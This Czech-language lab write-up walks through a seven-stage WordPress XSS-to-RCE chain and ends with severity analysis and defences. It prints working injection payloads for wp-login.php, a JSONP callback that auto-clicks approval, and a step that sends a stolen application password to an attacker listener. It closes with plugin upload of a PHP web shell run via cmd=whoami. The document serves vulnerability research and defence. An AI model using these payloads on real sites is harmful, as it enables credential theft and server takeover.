Pouze autorizované testování.
Vše níže bylo spuštěno proti lokální laboratoři (WordPress 7.0.2 na localhos). Nepoužívejte tyto techniky proti systémům, které nevlastníte nebo k jejichž testování nemáte výslovné oprávnění.
Shrnutí pro vedení
XSS2Shell není jediná chyba — jde o sedmistupňový exploitový řetězec, který začíná jedním znakem (< následovaným mezerou) obcházejícím dva různé HTML parsery na přihlašovací stránce WordPressu a končí spouštěním PHP na serveru jako www-data.
Co jej činí nebezpečným:
- Fáze 1 nevyžaduje žádnou autentizaci — kdokoli může spustit JavaScript na
wp-login.php. - Chyba se nachází v jádru WordPressu — nikoli v pluginu; prakticky každá podporovaná instalace od roku 2016 je zasažena.
- Využívá vlastní kód WordPressu —
user-profile.js, REST JSONP, hesla aplikací, nahrávání pluginů — jako gadgety. - Plné RCE je demonstrováno a uznáno WordPressem — přestože vyžaduje přimět přihlášeného administrátora k jednomu kliknutí.
Tento článek provází každou fází s ukázkami z našeho místního labu.
Laboratorní prostředí
git clone <this-repo> cd xss2shell make up # WordPress 7.0.2 na http://localhost:9080| Component | URL | Credentials |
|---|---|---|
| Vulnerable WordPress | http://localhost:9080 | admin / admin123! |
| Patched comparison | http://localhost:9081 | (optional) |
| Attacker listener | http://127.0.0.1:9090 | started by PoC script |

Každý web WordPress vystavuje /wp-login.php. Tato stránka je vstupním bodem celého řetězce.
Fáze 0: Diferenciál parseru (hlavní příčina)
Pokud přihlášení selže, WordPress zobrazí zadané uživatelské jméno uvnitř chybové zprávy. Uživatelské jméno prochází přes dva sanitizéry, které se neshodují v tom, co je "tag":
| Layer | Function | Sees < area as… |
|---|---|---|
| PHP | strip_tags() | Plain text (space after < = not a tag) |
| WordPress KSES | wp_kses_post() | Valid HTML element |
Payload používá mezeru za<:
< area id=demo-marker>< div id=color-picker class=reset-pass-submit>< button class="wp-generate-pw color-option">XNa zranitelném WordPress 7.0.2 toto přežije sanitizaci a stane se živým DOM:
./scripts/demo-parser-diff.sh http://localhost:9080
Na opravném WordPress 7.0.4 je stejný payload HTML-escapován v chybové zprávě — žádné živé elementy.
Tato chyba existuje od WordPressu 4.7 (2016) a unikla pozornosti při letech bezpečnostních auditů.
Fáze 1: Pre-autentizační XSS (bez nutnosti přihlášení)
Vložené DOM uzly odpovídají selektorům, které vlastní user-profile.js WordPressu hledá na přihlašovací stránce (načteno pro průběh resetování hesla):
.reset-pass-submit .wp-generate-pwje automaticky kliknuto při načtení stránky- Klik se probublá k delegovanému handleru
#color-picker - Kontrola stráže
user_id === checkuser_idprojde, protože obě hodnoty jsouundefined - jQuery provede POST na
ajaxurl— aleajaxurlna přihlašovací stránce neexistuje…
Pokud jej nepřepíšeme:
<area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=alert&_envelope=1>Element <area id=ajaxurl> se stane window.ajaxurl. jQuery volá .toString() → vrátí href. WordPress REST vrátí JSONP → jQuery globalEval() → alert()se spustí na origin WordPressu.

Odešlete formulář (nebo otevřete demo/stage1-preauth-xss.html a klikněte na Run Stage 1):

Dopad pouze v této fázi: phishing přihlašovacích údajů na skutečné doméně, session riding, volání API ze stejného origin — bez jakékoli autentizace.
Fáze 2: Sociální inženýrství — klik administrátora
Fáze 2–7 vyžadují, aby přihlášený administrátor otevřel stránku řízenou útočníkem. Tato překážka udržuje CVSS pod hodnotou 10 — v případě cílených útoků je však tento scénář realistický.
Správce může obdržet: "Vaše relace vypršela — klikněte zde pro opětovné ověření."

Po kliknutí stránka útočníka:
- Otevře podřízené vyskakovací okno (
about:blank) - Přesměruje hlavní okno na stránku autorizace hesel aplikací WordPress
- Zapíše XSS formulář do podřízeného vyskakovacího okna a automaticky ho odešle na
wp-login.php

Fáze 3: Spuštění metody stejného původu (SOME) — automatické schválení
XSS payload podřízeného okna změní zpětné volání JSONP z alert na:
window.opener.approve.clickWordPress REST zabalí odpověď:
/**/window.opener.approve.click({...})Runtime vyřeší window.opener (nadřazené okno) → .approve (tlačítko #approve) → .click(). Tlačítko Schválit heslo aplikace je kliknuto automaticky — bez jakékoli interakce uživatele na dané stránce.

Všimněte si URL zpětného volání na stránce: přihlašovací údaje budou odeslány na http://127.0.0.1:9090/callback?...&password=[------].
Fáze 4: Zachycení hesla aplikace
WordPress vytvoří nové heslo aplikace a přesměruje na útočníkovu success_url s přihlašovacím údajem v řetězci dotazu:
http://127.0.0.1:9090/callback ?site_url=http://localhost:9080 &user_login=admin &password=XXXX XXXX XXXX XXXX XXXX XXXXÚtočník nyní získal přihlašovací údaje HTTP Basic auth pro WordPress REST API — z relace samotného administrátora, aniž by administrátor po počátečním kliknutí na odkaz cokoliv zadal.
Fáze 5: Publikování stránky řízené útočníkem
Pomocí odcizeného hesla aplikace útočník odešle POST na /wp-json/wp/v2/pages a publikuje stránku s vloženým JavaScriptem. Správci mají oprávnění unfiltered_html — značky skriptu přežijí.
Fáze 6: Nahrání pluginu prostřednictvím relace správce
JavaScript útočníka (spuštěný v prohlížeči správce na publikované stránce):
- Načte
/wp-admin/plugin-install.php?tab=uploadpro nonce nahrávání - Odešle POST se škodlivým ZIP na
/wp-admin/update.php?action=upload-plugin - WordPress ho rozbalí do
wp-content/plugins/xss2shell/
Plugin není potřeba aktivovat. PHP soubory v adresáři pluginu jsou přímo přístupné přes web.
Fáze 7: Vzdálené spuštění kódu
GET /wp-content/plugins/xss2shell/shell.php?cmd=whoamiOdpověď:
{ "rce": true, "user": "www-data", "output": "www-data\n" }
Útočník nyní spouští libovolné příkazy jako uživatel webového serveru — čte wp-config.php (přihlašovací údaje k databázi), dumpuje databázi, pohybuje se laterálně.
Úplný výstup terminálu PoC:

Celý řetězec na první pohled
sequenceDiagram participant A as Útočníkův server participant V as Prohlížeč oběti participant W as WordPress 7.0.2 Note over V,W: Admin je přihlášen V->>A: Otevře phishingový odkaz (1 klik) A->>V: HTML útočníka + podřízené okno V->>W: Hlavní okno → authorize-application.php V->>W: Podřízené okno POSTuje XSS payload na wp-login.php W->>V: JSONP spustí window.opener.approve.click Note over V,W: Tlačítko schválení kliknuto automaticky W->>A: Přesměrování s heslem aplikace A->>W: REST API publikuje stránku (Basic auth) V->>W: Admin navštíví stránku → nahraje ZIP pluginu V->>W: GET shell.php?cmd=whoami W-->>A: www-dataJak nebezpečné to skutečně je?
Co je zaručeno (vysoká míra jistoty)
| Property | Value |
|---|---|
| Authentication for XSS | None |
| Affected installs | All WordPress 4.7+ before patch |
| Default-config exploitability | Stage 1 works out of the box |
| User interaction for XSS | Victim visits attacker URL |
Co vyžaduje další podmínky (cesta k RCE)
| Condition | Notes |
|---|---|
| Logged-in administrator | Must have active WP session |
| Social engineering | Admin must click attacker link |
| Application Passwords enabled | Default since WP 5.6; needs HTTPS or local env |
| Popup not blocked | Browser must allow window.open from user gesture |
Kalibrace závažnosti
| Metric | Value | Interpretation |
|---|---|---|
| CVSS 4.0 | 8.9 High | Full chain impact scored; not Critical because of UI:A |
| CVSS 3.1 | 6.1 Medium | Older scoring undervalues chained impact |
| EPSS | ~0.77% | Low predicted mass exploitation (Aug 2026) |
| CISA KEV | Not listed | No confirmed in-the-wild mass exploitation yet |
| Public PoCs | Multiple on GitHub | Exploitation window may shrink |
Závěr: Toto není červovatelné RCE bez kliknutí jako Log4Shell. Jde o hluboce technickou zranitelnost na úrovni jádra, která postihuje přibližně 43 % webu, přičemž:
- Samotná fáze 1 představuje závažný pre-auth XSS útok na přihlašovací stránce
- Celý řetězec převede jedno kliknutí administrátora na kompromitaci serveru
- Základní příčina (rozdíl v parserech) se vztahuje na jakoukoli kódovou základnu používající více HTML parserů
WordPress's own advisory states RCE requires "conditions outside of the attacker's control" and "successful social engineering." That is accurate — but the demonstrated chain makes those conditions achievable with a single link.
Lokálně reprodukovat celý řetězec
# 1. Spusťte lab make up # 2. Povolte Application Passwords přes HTTP (pouze lab) docker exec xss2shell-wordpress-1 bash -c \ "grep -q WP_ENVIRONMENT_TYPE /var/www/html/wp-config.php || \ sed -i \"/That's all, stop editing/i define( 'WP_ENVIRONMENT_TYPE', 'local' );\" /var/www/html/wp-config.php" # 3. Spusťte PoC listener python3 xss2shell_poc.py -t http://localhost:9080 --lhost 127.0.0.1 --lport 9090 -c "whoami" --keep # 4. V prohlížeči: # a. Přihlaste se jako admin na http://localhost:9080/wp-login.php # b. Otevřete http://127.0.0.1:9091/phishing-sim.html # c. Klikněte na "Open attacker page" (povolte vyskakovací okna) # d. Počkejte na výstup terminálu zobrazující shell + whoamiObrana
| Priority | Action |
|---|---|
| Immediate | Update to WordPress 7.0.3 or your branch's patched release (full list) |
| Verify | ./scripts/demo-parser-diff.sh should show no injected elements |
| Harden | Disable Application Passwords if unused; restrict plugin uploads; enforce 2FA for admins |
| Monitor | Watch for failed-login usernames containing < area patterns |
| WAF | Block < area / < div patterns on wp-login.php POST bodies |
Oprava přidává esc_html() k uživatelskému jménu v cestě chyby přihlášení — zajišťuje, že řetězec je zpracován jako text, nikoli znovu analyzován jako HTML.
Proč je to důležité pro bezpečnostní výzkum
Každý článek řetězce je sám o sobě nezajímavý:
- Rozdíl parseru → nízká závažnost, rutinní údržba
- Načten nesprávný skript na přihlašovací stránce → nízká
- JSONP callback ověřen regexem → střední
- Heslo aplikace v URL přesměrování → střední
- Adresář pluginů spouští PHP bez aktivace → známý design
Složeny dohromady mají CVSS 8.9 a poskytují shell.
Poučení: při hodnocení nálezů XSS se ptejte "co je již načteno na této stránce a co udělá, když mu předám správné DOM uzly?" Závažnost je vlastností řetězce, nikoli jednotlivé chyby.



